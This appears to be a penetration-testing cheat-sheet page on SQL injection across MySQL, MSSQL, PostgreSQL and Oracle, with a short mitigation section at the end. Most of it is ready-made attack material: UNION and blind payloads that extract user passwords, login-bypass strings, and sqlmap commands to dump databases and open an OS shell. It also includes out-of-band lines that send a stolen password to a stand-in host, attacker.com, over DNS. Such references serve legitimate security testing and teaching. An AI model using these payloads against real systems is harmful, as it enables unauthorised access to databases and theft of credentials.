pwneglyph logo
web sql-injection injection union-based-sqli blind-sqli time-based-sqli authentication-bypass sqlmap out-of-band-exfiltration

Identify, exploit, and validate SQL injection across common database engines and application flows.

SQL Injection

SQL injection occurs when user-supplied input is incorporated into a database query without proper sanitisation or parameterisation. It remains one of the most prevalent and impactful web vulnerabilities (OWASP Top 10).

Detection

Manual probing

# Boolean-based detection
' OR 1=1--
' OR 1=2--
' AND 1=1--
1' AND SLEEP(3)--   # time-based (MySQL)
1' AND 1=CONVERT(int,(SELECT TOP 1 name FROM sysobjects))--  # error-based (MSSQL)

Error messages that confirm SQL injection

  • You have an error in your SQL syntax — MySQL
  • Unclosed quotation mark — MSSQL
  • ORA-00933: SQL command not properly ended — Oracle
  • syntax error at or near — PostgreSQL

Enumeration

UNION-based (when output is reflected)

-- Step 1: find number of columns
' ORDER BY 1--
' ORDER BY 2--
-- ... until error, then column count = last success

-- Step 2: find which columns are visible
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 'a',NULL,NULL--

-- Step 3: extract data
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns
  WHERE table_name='users'--
' UNION SELECT username,password,NULL FROM users--

Blind Boolean-based

-- Test: does admin user exist?
' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--

-- Extract password char by char
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--

Time-based blind

-- MySQL
' AND SLEEP(5)--
' AND IF(1=1,SLEEP(5),0)--

-- MSSQL
'; WAITFOR DELAY '0:0:5'--
'; IF (SELECT COUNT(*) FROM users WHERE username='admin')>0 WAITFOR DELAY '0:0:5'--

-- PostgreSQL
'; SELECT pg_sleep(5)--

-- Oracle
'; BEGIN DBMS_PIPE.RECEIVE_MESSAGE(('a'),5); END;--

sqlmap — Automated Exploitation

# Basic scan of a URL parameter
sqlmap -u "http://target.com/page?id=1" --batch

# POST request
sqlmap -u "http://target.com/login" --data="user=admin&pass=test" --batch

# Using a saved Burp request file
sqlmap -r request.txt --batch

# Dump the database
sqlmap -u "http://target.com/page?id=1" --dbs
sqlmap -u "http://target.com/page?id=1" -D app_db --tables
sqlmap -u "http://target.com/page?id=1" -D app_db -T users --dump

# Try to get OS shell (if DB user has FILE privs)
sqlmap -u "http://target.com/page?id=1" --os-shell

# Authentication bypass attempt
sqlmap -u "http://target.com/page?id=1" --level=5 --risk=3 \
  --technique=B --auth-type=Basic --auth-cred="admin:admin"

Authentication Bypass

Classic login bypass payloads:

-- Username field
admin'--
admin' #
admin'/*
' OR 1=1--
' OR 'x'='x

-- Combined username + password
' OR 1=1--  (any password)
admin'--    (any password)

Second-Order SQLi

Occurs when input is stored safely but later used in an unsafe query:

  1. Register with username: admin'--
  2. Update profile — the stored username is used in an UPDATE without sanitisation.
  3. Update overwrites admin's row.

Always test profile update, password reset, and any feature that reads back stored data.

Out-of-Band Exfiltration

When the response is fully blind (no timing difference visible):

-- MySQL — DNS exfil (requires FILE privilege)
' UNION SELECT LOAD_FILE(CONCAT('\\\\',
  (SELECT password FROM users LIMIT 1), '.attacker.com\\a'))--

-- MSSQL — DNS via xp_dirtree
'; EXEC xp_dirtree '\\attacker.com\share'--

-- Use Burp Collaborator or interactsh to catch the DNS request

Mitigation (for report recommendations)

  1. Parameterised queries / prepared statements — the only reliable fix.
  2. Stored procedures (if they don't dynamically build SQL internally).
  3. Least-privilege DB accounts — application account should not have FILE or EXEC privs.
  4. WAF as defence-in-depth (not a primary control — bypassable).
  5. Error handling — never expose raw DB errors to users.
# Python — safe parameterised query example
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s",
               (username, password))